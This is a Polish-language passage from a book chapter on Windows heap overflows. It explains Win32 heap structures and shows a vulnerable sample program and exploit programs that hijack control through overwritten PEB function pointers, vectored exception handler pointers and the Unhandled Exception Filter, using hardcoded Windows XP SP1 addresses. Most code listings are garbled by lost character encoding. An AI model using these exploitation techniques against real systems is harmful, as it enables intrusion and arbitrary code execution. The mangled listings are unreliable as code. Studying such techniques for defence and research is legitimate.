Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

z funkcji  posiada  typ 

4< #BB

.  Umożliwia  on  nadpisanie  dowolnego  miejsca  w  pa-

mięci  tuż  przed  powrotem  tej  funkcji.  Jedyny  problem  z  wykorzystaniem  tej  techniki
polega na konieczności  wywołania przepełnienia za pomocą danych  wejściowych,  które
muszą być ścieżką UNC zakodowaną w Unicode i rozpoczynającą się od dwóch znaków
odwrotnego ukośnika. Przy założeniu, że nadpisujemy wskaźnik procedury bezpieczeństwa
wskaźnikiem naszego bufora, pierwszymi rozkazami po jego wywołaniu powinny być:

5-../,5

gdzie n jest następnym bajtem w buforze. Ponieważ zapis pod adresem 

$$

 nie

jest nigdy możliwy, to nastąpi naruszenie ochrony pamięci i utracimy nasz proces. Ze
względu na dwa znaki odwrotnego ukośnika znajdujące się na początku bufora wyko-
rzystanie tej metody nie jest więc możliwe. Gdyby nie te znaki, to wystarczyłoby na-
stępnie zastosować jedną z omówionych wcześniej technik.

Pokazaliśmy, że istnieje  wiele  sposobów obejścia mechanizmu ochrony stosu za po-
mocą znaczników bezpieczeństwa. Można wykorzystać w tym celu struktury związa-
ne z obsługą wyjątków bądź parametry przekazywane funkcjom przez stos. Z pewno-
ścią  jednak  kolejne  wersje  systemów  firmy  Microsoft  posiadać  będą  udoskonalone
mechanizmy bezpieczeństwa, które utrudnią wykorzystanie przepełnień stosu.

Przepełnienia sterty

Przepełnienia  stery  są  co  najmniej  tak  samo  groźne  jak  przepełnienia  stosu.  Zanim
przejdziemy  do  ich  omówienia,  przypomnijmy  definicję  sterty.  Sterta  jest  obszarem
pamięci  używanym  przez  programy  do  przechowywania  dynamicznie  tworzonych
danych. Weźmy na przykład pod uwagę serwer Web. W momencie kompilacji jego kodu
nie jest znana liczba i rodzaj żądań, które będzie on musiał obsłużyć. Niektóre z nich
będą zawierać jedynie 20 bajtów, a inne 20 000 bajtów. Serwer musi poradzić sobie w obu
sytuacjach. Zamiast używać w tym celu bufora o stałym rozmiarze przydzielonego na
stosie, może zażądać przydzielenia obszaru pamięci na stercie o rozmiarze odpowiednim
dla  obsługiwanego  żądania.  Zastosowanie  stosu  usprawnia  zarządzanie  pamięcią,
umożliwiając tworzenie aplikacji, które lepiej się skalują.

Sterta procesu

Każdy proces Win32 posiada domyślną stertę określaną mianem sterty procesu. Wy-
wołanie funkcji 

 DE

 zwraca uchwyt sterty procesu. Wskaźnik sterty procesu

przechowywany  jest  również  w  bloku  PEB  (Process  Environment  Block).  Poniższy
fragment kodu w języku asemblera zwraca wskaźnik sterty procesu w rejestrze EAX.

&,>-$9$/

&,-.$#:/

Wiele funkcji Win32 używa właśnie sterty procesu.

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

165

Sterty dynamiczne

Oprócz domyślnej sterty proces może posiadać również dowolną liczbę stert tworzo-
nych dynamicznie. Sterty dynamiczne są dostępne globalnie w obrębie danego proce-
su i tworzone przez wywołanie funkcji 

  DE

.

Korzystanie ze sterty

Zanim  proces  może  umieścić  dane  na  stercie,  musi  przydzielić  im  pewien  obszar
sterty. W tym celu wywołuje funkcję 

 "" DE

, podając rozmiar żądanego ob-

szaru. Jeśli przydział zakończy się pomyślnie, funkcja zwróci wskaźnik przydzielonego
obszaru.  Menedżer  sterty  zarządza  przydziałem  obszarów,  wykorzystując  w  tym  celu
odpowiednie struktur. Struktury te zawierają informacje o rozmiarze przydzielonego blo-
ku oraz wskaźniki do poprzedniego oraz następnego obszaru.

Zwykle aplikacja używa funkcji 

 "" DE

, ale istnieje również wiele innych

funkcji operujących na stercie, głównie ze względu na konieczność zachowania zgod-
ności ze wcześniejszymi wersjami systemu Windows. W systemach Win16 istniały dwa
rodzaje stert: globalna sterta  dostępna  dla  wszystkich  procesów  oraz  lokalna  sterta
każdego procesu. Win32 nadal posiada funkcje 

"( """DE

 i 

= "#""DE

. Jednak

w przypadku Win32 obie wymienione funkcje przydzielają obszary pamięci na do-
myślnej stercie procesu. W rzeczywistości obie funkcje delegują to zadanie do  funkcji

 "" DE

 w następujący sposób:

@;G",$,K!

Gdy przydzielony obszar nie jest już dłużej potrzebny, proces może zwolnić go, wy-
wołując jedną z funkcji 

 +DE

= "+DE

 bądź 

"( "+DE

.

Więcej informacji na temat korzystania ze sterty można znaleźć w dokumentacji MSDN
na stronie http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/
memory_management_reference.asp

Jak działa sterta

Podczas  gdy  stos  wzrasta  w  kierunku  adresu 

,  to  sterta  rozbudowywana

jest w kierunku przeciwnym. Jeśli funkcja 

 ""

 zostanie  wywołana dwukrotnie,

to  za  pierwszym  razem  zostanie  przydzielony  obszar  o  niższym  adresie  wirtualnym
niż podczas drugiego wywołania. W ten sposób przepełnienie pierwszego bufora mo-
że spowodować nadpisanie informacji w drugim buforze, a nie na odwrót.

Każda sterta, domyślna lub dynamiczna, rozpoczyna się od struktury, w której oprócz
innych danych znajduje się tablica 

+=

 zawierająca 128 struktur 

=K

 słu-

żących do zarządzania wolnymi blokami pamięci. Każda struktura 

=K

 (zdefi-

niowana  w 

I><

)  zawiera  dwa  wskaźniki,  a  tablica 

+=

  przesunięta  jest

0*?

 bajtów względem początku sterty. Po utworzeniu sterty struktura 

+=

zawiera dwa wskaźniki pierwszego wolnego obszaru, który może zostać przydzielony.

background image

166

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

Pod adresem wskazywanym przez te wskaźniki znajdują się natomiast dwa wskaźniki
struktury 

+=

. Zakładając, że adres bazowy sterty wynosi 

/-

, a pierwszy

wolny blok ma adres 

/-F??

, to:

 

Pod adresem 

/-0*?#

(

+=>+"7

) znajduje się wskaźnik

posiadający wartość 

/-F??

 (adres pierwszego wolnego bloku).

 

Pod adresem 

/-0*

 (

+=>%"7

) znajduje się wskaźnik

posiadający wartość 

/-F??

 (adres pierwszego wolnego bloku).

 

Pod adresem 

/-F??

 (pierwszy wolny blok) znajduje się wskaźnik

posiadający wartość 

/-0*?

 (adres struktury 

+=

).

 

Pod adresem 

/-F?

 (pierwszy wolny blok + 4) znajduje się wskaźnik

posiadający wartość 

/-0*?

 (adres struktury 

+=

).

W  przypadku  przydziału  bloku  pamięci  (na  przykład  na  skutek  wywołania  funkcji

"""  

  żądającego  obszaru  260  bajtów)  wskaźniki 

+=>+"7

+=>%"7

 zostaną zaktualizowane w taki sposób, by wskazywały następny

wolny  blok,  który  może  zostać  przydzielony.  Co  więcej,  dwa  wskaźniki  wskazujące
tablicę 

+=

  zostaną  przeniesione  na  koniec  przydzielonego  bloku.  Każdy  nowy

przydział  lub  zwolnienie  bloku  pamięci  spowoduje  aktualizację  tych  wskaźników.
W ten sposób przydzielone bloki utworzą dwukierunkową listę powiązaną za pomocą
wskaźników. Gdy przepełnienie bufora umieszczonego w jednym z bloków spowoduje
nadpisanie wskaźników innego bloku, to mogą one zostać użyte do nadpisania dowolnego
podwójnego słowa (

!4!

) w pamięci. Może nim być na przykład  wskaźnik  funkcji,

co pozwoli hakerowi przejąć kontrolę nad działaniem programu. Jeśli jednak przed wy-
wołaniem  tej  funkcji  wystąpi  wyjątek,  to  hakerowi  nie  uda  się  przejąć  sterowania.
Dlatego lepszym rozwiązaniem jest nadpisanie wskaźnika procedury obsługi wyjątków.

Zanim  przejdziemy  do  omówienia  sposobów  wykorzystania  przepełnień  sterty  do
włamań, przyjrzyjmy się związanym z tym problemom.

Poniższy program narażony jest na atak przez przepełnienie sterty.

6UDF6!

I5!

&H,IH-/

D6RL!

@LL5&!

@LL597!

QQH&Q!

HS@7

;FG?S!

H-#/!

$!

%

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

167

6UDF6

 !

"#!

$!

%

I5

LD=;L#@$,7@$!

;E6L!

''

@=$,$#$$$,$#$$$$!

S

1Q!

#@;,;"'XFD'DFY,78$!

;">P:BP:BQ,#,M#!

(()KZ>

#,5!

((6HZ;T))[

((K)T

7@;,;"'XFD'DFY,78$!

!

%

''

!

%

$!

%

Program najlepiej skompilować za pomocą Microsoft Visual C++ 6.0, używając po-
lecenia 

"#G#< >.

Słabym punktem tego programu jest wywołanie funkcji 

DE

 przez funkcję 

DE

.

Jeśli łańcuch 

(8

 jest dłuższy niż 260 znaków, to nadpisze on strukturę sterty. Struktura

ta posiada dwa wskaźniki, wskazujące element tablicy 

+=

, który zawiera kolejną

parę wskaźników do pierwszego wolnego bloku. Gdy blok pamięci jest przydzielany
lub zwalniany, to wskaźniki te zamieniane są miejscami.

Jeśli programowi temu przekażemy argument o długości na przykład 300 bajtów (który
z kolei zostanie przekazany funkcji 

DE

, wewnątrz której zachodzi przepełnienie), to

kod  naruszy  ochronę  pamięci,  wykonując  następujące  rozkazy  podczas  drugiego  wy-
wołania funkcji 

 ""DE

:

00187481:2$#&-/,

0018740#:2<:$<&-.</,

background image

168

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

Chociaż  rezultat  ten  uzyskaliśmy  wywołując  po  raz  drugi  funkcję 

 ""DE

,  to

wywołanie  funkcji 

 +DE

  lub 

  ""DE

  spowodowałoby  ten  sam  efekt.

Jeśli przyjrzymy się zawartości rejestrów 

 i 

, zobaczymy, że zawierają one dane

łańcucha, który przekazaliśmy jako parametr programu. Ponieważ nadpisaliśmy wskaź-
niki znajdujące się w strukturze używanej do zarządzania stertą, a podczas kolejnego
wywołania funkcji 

 ""DE

 zostaną one użyte dla aktualizacji sterty, to w rezultacie

uzyskamy  kontrolę  nad  zawartością  obu  rejestrów.  Przyjrzyjmy  się  poszczególnym
rozkazom:

&-/,

Wykonanie  tego  rozkazu  spowoduje  umieszczenie  zawartości  rejestru 

  pod  adre-

sem wskazywanym przez rejestr 

. W ten sposób możemy nadpisać 32 bity znajdują-

ce się w dowolnym miejscu wirtualnej przestrzeni adresowej procesu (pod warunkiem,
że  konfiguracja  pamięci  dopuszcza  operację  zapisu)  za  pomocą  dowolnie  wybranej
przez nas wartości 32-bitowej. Możemy  wykorzystać to do nadpisania danych steru-
jących działaniem programu. Jest jednak pewien problem. Przyjrzyjmy się drugiemu
z rozkazów:

&-.</,

Nastąpiła  teraz  zamiana  rejestrów  miejscami.  Zawartość  rejestru 

  (której  użyliśmy

w poprzednim rozkazie do nadpisania wartości wskazywanej przez zawartość rejestru 

)

musi równocześnie reprezentować prawidłowy adres w pamięci umożliwiającej operację
zapisu, ponieważ drugi z rozkazów umieszcza zawartość rejestru 

 pod adresem 

$1

.

W  przeciwnym  razie  nastąpi  naruszenie  ochrony  pamięci.  Jak  się  okazuje,  sytuacja
taka wcale nie działa na naszą niekorzyść, a nawet stanowi jeden z powszechniej sto-
sowanych  sposobów  wykorzystania  przepełnienia  sterty.  Hakerzy  często  nadpisują
wskaźnik procedury obsługi  wyjątków umieszczony  w strukturze 

znajdującej się na stosie lub wskaźnik procedury Unhandled Exception Filter wartością
wskazującą blok kodu, który  w  momencie  wystąpienia  wyjątku  przekaże  sterowanie
do  ich  własnego  kodu.  Nawet  jeśli  rejestr 

  wskazuje  adres,  pod  którym  możliwy

jest zapis, to i tak zawartość tego rejestru jest inna niż rejestru 

, wobec czego ist-

nieje znaczne prawdopodobieństwo, że funkcje niskiego poziomu zarządzające stertą
i tak spowodują wyjątek. Dlatego też najłatwiejszą metodą wykorzystania przepełnie-
nia stery jest nadpisanie wskaźnika procedury obsługi wyjątków.

Wykorzystanie przepełnień sterty

Wielu programistów uważa, że w przeciwieństwie do przepełnień stosu, przepełnienia
sterty nie stanowią większego zagrożenia i w związku z tym dość lekkomyślnie uży-
wają potencjalnie niebezpiecznych funkcji takich jak 

DE

 lub 

 DE

 dla bufo-

rów przydzielonych na stercie. Z poprzednich punktów tego rozdziału wiemy już, że
najlepszym sposobem wykorzystania przepełnień sterty w celu uruchomienia własne-
go kodu jest użycie procedur obsługi wyjątków. Nadpisanie wskaźnika procedury ob-
sługi  wyjątków  stanowi  powszechnie  używaną  metodę.  Podobnie  nadpisanie  wskaź-
nika Unhandled Exception Filter. Zamiast zagłębiać się teraz w szczegóły obu metod
(zostaną one omówione pod koniec tego punktu), przejdziemy do omówienia dwóch
zupełnie nowych technik.

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

169

Nadpisanie wskaźnika funkcji
RtlEnterCriticalSection w bloku PEB

Wcześniej omówiliśmy już strukturę bloku PEB. W tym miejscu warto przypomnieć
kilka najistotniejszych faktów. Zawiera ona wskaźniki szeregu funkcji, między innymi

" "DE

  i 

"= A "DE

.  Wskaźników  tych  używają

funkcje 

"L8(=7DE

oraz 

"" (=7DE

 eksportowane przez 

.==>.==

.

Funkcje  te  wywoływane  są  przez  funkcję 

DE

.  Dzięki  temu  możemy  wy-

korzystać bloki PEB do wykonania dowolnego kodu, zwłaszcza podczas kończenia pra-
cy procesu. Procedury obsługi wyjątków często wywołują funkcję 

DE

 i należy

to  wykorzystać.  Posiadając  możliwość  nadpisania  dowolnej  wartości  dword  w  pamięci,
możemy zmodyfikować jeden ze wspomnianych wskaźników w bloku PEB. Szczególną
zaletą tej metody jest stałe położenie bloku PEB niezależnie od wersji systemu Win-
dows NT i zainstalowanych pakietów serwisowych czy poprawek. Oznacza to, że in-
teresujące nas wskaźniki znajdują się zawsze w tym samym miejscu.

Wskaźniki te nie są używane na  platformie Windows 2003 Server (patrz  omówie-
nie pod koniec tego podrozdziału).

Wskaźnik  funkcji 

" "DE

  znajduje  się  zawsze  pod  adresem

*++.+C

. Korzystając z przepełnienia sterty, będziemy jednak posługiwać się adresem

*++.+0

, ponieważ wskazuje go 

#$#1

.

0018740#:2<:$<&-.</,

Sposób działania jest bardzo prosty. Przepełniamy bufor, nadpisujemy dowolną wartość
w pamięci, wywołując wyjątek związany z naruszeniem ochrony pamięci, co w efekcie
doprowadza  do  wywołania  funkcji 

.  Pamiętajmy  jednak,  że  pierwszą

operacją wykonaną przez nasz kod musi być przywrócenie oryginalnej wartości wskaź-
nika. Wskaźnik ten może bowiem zostać użyty poza naszym kodem i jeśli jego war-
tość będzie niewłaściwa, to utracimy nasz proces. W zależności od sposobu działania
naszego  kodu  może  zachodzić  również  konieczność  naprawienia  sterty  uszkodzonej
przez przepełnienie.

Naprawianie sterty  ma  oczywiście  sens  tylko  wtedy,  gdy  nasz  kod  wykonuje  pewne
operacje  podczas  kończenia  działania  procesu.  Jak  już  wspomnieliśmy,  sterowanie
trafia do naszego kodu zwykle na skutek  wywołania  funkcji 

DE

 przez pro-

cedurę obsługi wyjątków. Technika wykorzystania naruszenia ochrony pamięci  w celu
skierowania sterowania do własnego kodu jest szczególnie przydatna w połączeniu
z przepełnieniami sterty stosowanymi podczas ataku na programy CGI.

Przedstawiony  poniżej  kod  ilustruje  wykorzystanie  naruszenia  ochrony  pamięci  do
wykonania własnego kodu. Celem włamania będzie przedstawiony wcześniej program.

HG;I5,I!

I&,H!

background image

170

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

&

H5-9$$/@!

H-:/@!

H5-:/@!

H-7$$/@!

H''&@$!

H''F=?@$!

H&-:/@!

H@$!

GHQ!

''&@G;&,&!

''F=?@G;J,

F=?!

''&@@$\\J''F=?@@$

1HQ!

;&&QQQ@P:BQ,''&!

;F=?Q@P:BQ,''

F=?!

5,#!

((+Z+J5+"3,TZ)&!

5,QQ2$Q2$Q2$Q2$Q$#Q2$Q2$Q8;Q9$Q42Q8<Q:3Q$#Q32!

&,''F=?!

5,&!

5,Q:2Q<:Q7$Q99Q=$Q4$Q8:Q89Q8#Q8=Q89Q4<Q43Q4$Q49Q32!

&,''&!

5,&!

5,Q11Q6#!

((KZ

4:

5,6666!

..!

%

((+A++A+F=?J<5+"3

5,Q#=Q1$Q16Q0!

((+A+&&&+Z+

5,Q::Q$8Q94!

5,Q!

QH#Q!

&5!

$!

%

HG;I5,I

D6RL@ERLL!

H@$!

@LL55!

S

$!

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

171

@G";,!

S

$!

!

%

I&,H

H@$!

@!

@7<!

@7<!

&-$/@!

@!

@:!

@7<!

@7<!

&-#/@!

@!

@#8!

@7<!

@7<!

&-7/@!

@!

@7<!

&-9/@!

%

Jak już wspomnieliśmy, wskaźniki te nie są używane w systemie Windows 2003 Server.
W bloku PEB na platformie Windows 2003 Server posiadają one wartość 

;==

. Mimo

to  nadal  możliwe  jest  przeprowadzenie  podobnego  ataku.  Funkcja 

DE

lub 

;< !"!+"DE

  wywołuje  wiele  funkcji 

=!B

  takich  jak  na  przykład

=!;" !.""DE

. Wiele funkcji 

=!B

 posługuje  się  wskaźnikami funkcji. Wskaźniki te  są

zwykle inicjowane przez silnik SHIM. Nie są one wykorzystywane dla zwykłych procesów.
Ten sam efekt możemy osiągnąć nadpisując wskaźnik podczas przepełnienie bufora.

Nadpisanie wskaźnika pierwszej wektoryzowanej
procedury obsługi wyjątków pod adresem 77FC3210

Wektoryzowana  obsługa  wyjątków  wprowadzona  została  w  systemie  Windows  XP.
W przeciwieństwie do tradycyjnego mechanizmu obsługi wyjątków, który przechowuje
struktury 

 na stosie, wektoryzowana obsługa wyjątków posługuje

się  informacją  o  procedurach  obsługi  umieszczoną  na  stercie.  Informacja  ta  przecho-
wywana jest w strukturach bardzo przypominających struktury 

.

']=CDF6'B="C DE'ED6

&'EE!

&'"E!

"]D 6&']!

%

background image

172

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

'!

  wskazuje  następną  strukturę 

M..

'A8!

poprzednią  strukturę 

M..

,  a 

'M! !"

  właściwą

procedurę obsługi  wyjątków. Wskaźnik struktury 

M..

,  która

zostanie  użyta  jako  pierwsza  podczas  obsługi  wyjątku,  znajduje  się  pod  adresem

**+/C0

 (należy jednak pamiętać, że adres ten może się zmienić w momencie instalacji

pakietów  serwisowych).  Korzystając  z  przepełnienia  sterty,  możemy  nadpisać  ten
wskaźnik za pomocą adresu naszej własnej struktury 

M..

. Zaletą

takiej techniki jest przede wszystkim to, że wektoryzowane procedury obsługi wyjątków
zostają wywołane przed tradycyjnymi procedurami obsługi wyjątków.

Przedstawiony poniżej kod (dla Windows XP Service Pack 1) odpowiedzialny jest za
przydzielenie procedury obsługi w momencie wystąpienia wyjątku:

00101<2&,>-001=97#$/

00101<;<)&00101<3<

00101<;8,-5J:/

00101<;2

00101<;;-.:/

00101<;6&,$11

00101<3$)00101<==

00101<37&,-/

00101<3<&,

00101<38)00101<;8

Kod ten umieszcza w rejestrze 

 wskaźnik struktury 

M..

 dla

pierwszej wywoływanej wektoryzowanej procedury obsługi wyjątków. Następnie wywo-
łuje funkcję wskazywaną przez 

#$#?

. Wykorzystując przepełnienie sterty, możemy

przejąć kontrolę nad procesem, modyfikując wartość wskaźnika znajdującego się pod
adresem 

**+/C0

.

Jak to osiągnąć? Najpierw musimy uzyskać wskaźnik  naszego bloku przydzielonego
na  stercie.  Jeśli  przechowuje  go  zmienna  lokalna,  dostępny  jest  w  bieżącej  ramce
stosu. Nawet jeśli  wskaźnik ten przechowywany jest za pomocą zmiennej globalnej,
to i tak istnieje duża szansa, że znajduje się gdzieś na stosie odłożony jako parametr
wywołania funkcji, zwłaszcza jeśli wywołaną funkcją jest 

 +DE

 (wskaźnik blo-

ku jest  wtedy  trzecim  parametrem).  Po  zlokalizowaniu  tego  wskaźnika  (załóżmy,  że
znajduje  się  on  pod  adresem 

0C++-

)  możemy  udać,  że  jest  on  wskaźnikiem

'M! !"

 należącym do struktury 

M..

 o adresie

0C++1?

.  Dlatego  też  przepełniając  adres,  dostarczymy  wartość 

0C++1?

  dla

jednego wskaźnika i wartość 

**+/C

 dla drugiego z nich. Dzięki temu wykonanie

rozkazów

00187481:2$#&-/,

0018740#:2<:$<&-.</,

spowoduje zapisanie wartości 

**+/C

 (zawartość rejestru 

) pod adresem 

0C++1?

(

)  oraz  wartości 

0C++1?

  (zawartość  rejestru 

)  pod  adresem 

**+/C0

(

#$#1

). W wyniku tych operacji przejęliśmy kontrolę nad wskaźnikiem pierwszej

struktury 

M..

 znajdującym się pod adresem 

**+/C0

. Dzięki

temu w momencie wystąpienia wyjątku rozkaz znajdujący się pod adresem 

**+*+1,

umieści w rejestrze 

 wartość 

0C++1?

, a chwilę później zostanie wywołana funkcja

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

173

wskazywana przez 

#$#?

. Adres tej funkcji jest adresem naszego buforu przydzie-

lonego na stercie i wobec tego zostanie następnie wykonany nasz kod. Poniżej przed-
stawiamy przykład kodu, który wykonuje opisane działania:

HG;I5,I!

I&,H!

&

H5-9$$/@!

H-:/@!

H5-:/@!

H-7$$/@!

H''&@$!

H&-:/@!

H@$!

GH&Q!

''&@G;&,&!

''&@@$

1HQ!

;&&QQQ@P:BQ,''&!

5,#!

4

5,Q2$Q2$Q2$Q2$!

..!

%

((+Z+Z)*&!

5,Q2$Q99Q=$Q4$Q8:Q89Q8#Q8=Q89Q4<Q43Q4$Q49Q32!

&,''&!

5,&!

5,Q11Q6#!!

@$!

4:

5,6666!

..!

%

((U+A+$001=97#$J<$001=97#$K)

((+A+K)+']=CDF6'B="C DE'ED6

5,Q$=Q97Q1=Q00!

((U+A+K)+']=CDF6'B="C DE'ED6

(($$$#711<:"&&T+K&:

((K))T+A+KH5^KH5

((K&&&KKZ&K&+K)

background image

174

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

((5ZH)*+_UV`T[`Z[

((++H5&=K+

5,Q<:QQ#7Q$$!

QH#Q!

&5!

$!

%

HG;I5,I

D6RL@ERLL!

H@$!

@LL55!

S

$!

@G";,!

S

$!

!

%

I&,H

H@$!

@!

@7<!

@7<!

&-$/@!

@!

@:!

@7<!

@7<!

&-#/@!

@!

@#8!

@7<!

@7<!

&-7/@!

@!

@7<!

&-9/@!

%

Nadpisanie wskaźnika filtra
nieobsłużonych wyjątków

Na konferencji Blackhat Security Briefings odbywającej się w  Amsterdamie  w 2001
roku  Halvar  Flake  jako  pierwszy  zaproponował  wykorzystanie  filtra  nieobsłużonych
wyjątków.  Filtr  ten  stosowany  jest  w  systemie  Windows  w  sytuacji,  gdy  żadna  inna
procedura obsługi wyjątków nie obsłużyła bieżącego wyjątku bądź gdy żadna proce-
dura obsługi  wyjątków nie  została  zdefiniowana.  Aplikacja  może  skonfigurować  ten
filtr, korzystając z funkcji 

;< !"!+"DE

. Kod tej funkcji wykonuje

następujące rozkazy:

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

175

0004;#&,-.</

0004;4&,>-006093</

0004;;&>-006093</,

00043$<

Jak  łatwo  zauważyć,  wskaźnik  filtra  nieobsłużonych  wyjątków  przechowywany  jest
pod adresem 

**.*/%1

 — przynajmniej w przypadku systemu Windows XP Service

Pack 1. W innych systemach może to być inny adres. Aby go odnaleźć, należy prze-
analizować działanie funkcji 

;< !"!+"DE

.

Gdy pojawia się nieobsłużony wyjątek, to system wykonuje poniższy blok kodu:

0029##<&,-006093</

0029##2&,

0029##3)0029#97

0029##6

0029##

Adres filtra nieobsłużonych wyjątków zostaje załadowany do rejestru 

 i procedura

zostaje wywołana. Rozkaz 

8<#!

 poprzedzający wywołanie filtra odkłada na stosie

adres struktury 

. Szczegół ten warto zapamiętać, ponieważ okaże

się on przydatny.

Przepełniając stertę, możemy wykorzystać filtr nieobsłużonych wyjątków w sytuacji,
gdy spowodowany wyjątek nie zostanie obsłużony. W tym celu musimy skonfiguro-
wać  własny  filtr  nieobsłużonych  wyjątków.  Wskaźnik  filtra  możemy  nadpisać  adre-
sem  naszego  bufora,  jeśli  jest  on  łatwy  do  ustalenia,  bądź  adresem  fragmentu  kodu,
który  przekaże  sterowanie  do  tego  bufora.  Przypomnijmy  w  tym  miejscu,  że  przed
wywołaniem filtra na stosie zostaje umieszczona zawartość rejestru 

.

. Reprezentuje

ona adres struktury 

*?

 bajtów za tym adresem, prawie pośrodku

naszego  bufora,  znajduje  się  adres,  który  jest  wskaźnikiem  końca  naszego  bufora.
Mimo  że  adres  ten  nie  stanowi  części  struktury 

,  możemy  wyko-

rzystać rejestr 

.

, aby sterowanie trafiło z powrotem do naszego kodu. W tym celu

musimy  odnaleźć  jeszcze  adres  w  przestrzeni  danego  procesu,  który  zawiera  nastę-
pujący rozkaz:

-.$0:/

Chociaż  może  wydawać  się  to  trudnym  zadaniem,  to  jednak  istnieje  kilka  miejsc,
w których  można  odnaleźć  taki  rozkaz.  Zależy  to  jednak  od  bibliotek  załadowanych
przez proces oraz wersji systemu. Poniżej przedstawiamy kilka przykładów lokaliza-
cji tego rozkazu w systemie Windows XP Service Pack 1.

-.$0:/$0#988-97/

-.$0:/$00955-97/

-.$0:/$00<##4-97/

-.$0:/$00279<-97/

-.$0:/$0:$4#98-</

-.$0:/$0:$4#<48-</

W  systemie  Windows  2000  pod  adresem 

#$#1 oraz #$#*1 znajduje

się wskaźnik naszego bufora.

background image

176Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

Wywołania filtra nieobsłużonych wyjątków podczas pracy z programem uruchomieniowym

Każdy wyjątek zostaje przechwycony przez system i sterowanie trafia natychmiast do funkcji
:;. <DE  w  !"">!"".  Funkcja  ta  odpowiedzialna  jest  za  mechanizm
obsługi wyjątków. W systemie Windows XP funkcja 

:;. <DE wywołuje

najpierw wektoryzowane procedury obsługi wyjątków, następnie tradycyjne procedury obsługi
wyjątków,  a  na  końcu  filtr  nieobsłużonych  wyjątków.  Podobnie  działa  ona  w  systemie  Win-
dows  2000,  który  jednak  nie  dysponuje  mechanizmem  wektoryzowanych  procedur  obsługi
wyjątków. Jeden z problemów, które napotkać można tworząc eksploit wykorzystujący przepełnie-
nia sterty, polega na tym, że podczas śledzenia atakowanego programu za pomocą  programu
uruchomieniowego nie jest wywoływany filtr nieobsłużonych wyjątków. Jest to szczególnie irytują-
ce, gdy tworzony eksploit wykorzystuje właśnie ten filtr. Istnieje jednak rozwiązanie tego problemu.

Funkcja 

:;. <DE  wywołuje  funkcję  ;< !"!+"DE,  która

sprawdza, czy proces nie jest śledzony i czy należy wywołać filtr nieobsłużonych wyjątków. W tym
celu  funkcja 

;< !"!+"DE  wywołuje  funkcję  jądra  GN4H8'

, która  nadaje  zmiennej  na  stosie  wartość  ++++++++,  jeśli  wykonanie  procesu  jest
śledzone. Gdy funkcja 

GN4H8' #zwróci sterowanie, to wartość tej zmiennej

porównywana jest z wyzerowanym rejestrem. Jeśli wartości są takie same, wywoływany  jest
filtr nieobsłużonych wyjątków. W przeciwnym razie filtr nie jest wywoływany. Jeśli chcemy, aby
filtr został wywołany podczas śledzenia programu, to powinniśmy zastawić pułapkę na rozka-
zie dokonującym porównania. Gdy sterowanie programu dotrze do pułapki, należy zmienić war-
tość zmiennej z 

++++++++ na  i kontynuować śledzenie programu. Dzięki temu

filtr nieobsłużonych wyjątków zostanie wywołany.

background image

Rozdział 8. 

♦ Przepełnienia w systemie Windows

177

Na rysunku na poprzedniej stronie przedstawiony został kod wykonywany przez funkcję 

;< !")

!+" w systemie Windows XP Service Pack 1. W tym przypadku należy zastawić
pułapkę pod adresem 

**,/0% i poczekać na pojawienie się wyjątku. Po osiągnięciu pułapki

należy  zapisać  wartość 

 pod adresem %)C< i wtedy zostanie wywołany filtr

nieobsłużonych wyjątków.

Jeśli nadpiszemy wskaźnik filtra nieobsłużonych  wyjątków jednym z przedstawionych
wyżej adresów, to w przypadku wystąpienia nieobsłużonego wyjątku zostanie wykonany
rozkaz, który przekaże sterowanie do naszego bufora. Należy przy tym pamiętać, że filtr
nieobsłużonych wyjątków wywoływany jest wyłącznie wtedy, gdy program wykonywany
jest  w  zwykłym  trybie,  a  nie  w  trybie  uruchomieniowym.  W  ramce  wyjaśnione  zo-
stało, jak poradzić sobie z tym problemem.

Aby zademonstrować wykorzystanie filtra nieobsłużonych wyjątków podczas włama-
nia  metodą  przepełnienia  sterty,  musimy  zmodyfikować  przykład  atakowanego  pro-
gramu w taki sposób, by  nie zawierał on procedury obsługi wyjątków. Jeśli bowiem
wyjątek zostanie obsłużony, to filtr nie będzie wywołany.

I5!

&H,IH-/

D6RL!

@LL5&!

@LL597!

QQH&Q!

HS@7

;FG?S!

H-#/!

$!

%

I5

LD=;L#@$,7@$!

;E6L!

@=$,$#$$$,$#$$$$!

S

1Q!

#@;,;"'XFD'DFY,78$!

;">P:BP:BQ,#,M#!

#,5!

((K)&)&KHHZ;

7@;,;"'XFD'DFY,78$!

!

$!

%

background image

178

Część II 

♦ Włamania na platformach Windows, Solaris i Tru64

Włamania  dokonuje  następny  z  przedstawionych  programów.  Nadpisuje  on  strukturę
związaną z zarządzaniem stertą dwoma wskaźnikami. Pierwszy z nich wskazuje filtr
nieobsłużonych wyjątków o adresie 

**.*/%1

, a drugi rozkaz 

 ""#!4!#!$*?

znajdujący się w kodzie biblioteki 

 /C>!""

 pod adresem 

**/%%.

. Gdy atakowa-

ny program drugi raz wywoła funkcję 

 ""DE

, to wystąpi wyjątek, który nie zo-

stanie obsłużony i trafi do  naszego  filtra,  wskutek  czego  sterowanie  zostanie  prze-
kazane z powrotem do naszego bufora. Zwróćmy uwagę na rozkaz krótkiego skoku
umieszczony  w  buforze  tam,  gdzie  wskazuje 

.# $# *?

.  Służy  on  ominięciu  kodu

związanego z zarządzaniem stertą.

HG;I5,I!

I&,H!

&

H5-#$$$/@!

H-:/@!

H5-:/@!

H-7$$/@!

H''&@$!

H&-:/@!

H@$!

@$!

GH&Q!

''&@G;&,&!

''&@@$

1HQ!

;&&QQQ@P:BQ,''&!

5,#!

88

5,6666!

..!

%

 !""

5,Q3Q#<!

((KZ

5,Q<<Q<<Q<<Q<<Q<<Q<<!

(("&&$00=933;6>97B"?"#K))T

((K+K-.$0</;&&K&

((+A+5Z[)*+_

5,QQ55Q9Q00!

((+A+5Z[)*+_

5,Q3<Q09Q6Q00!((006093<

@$!
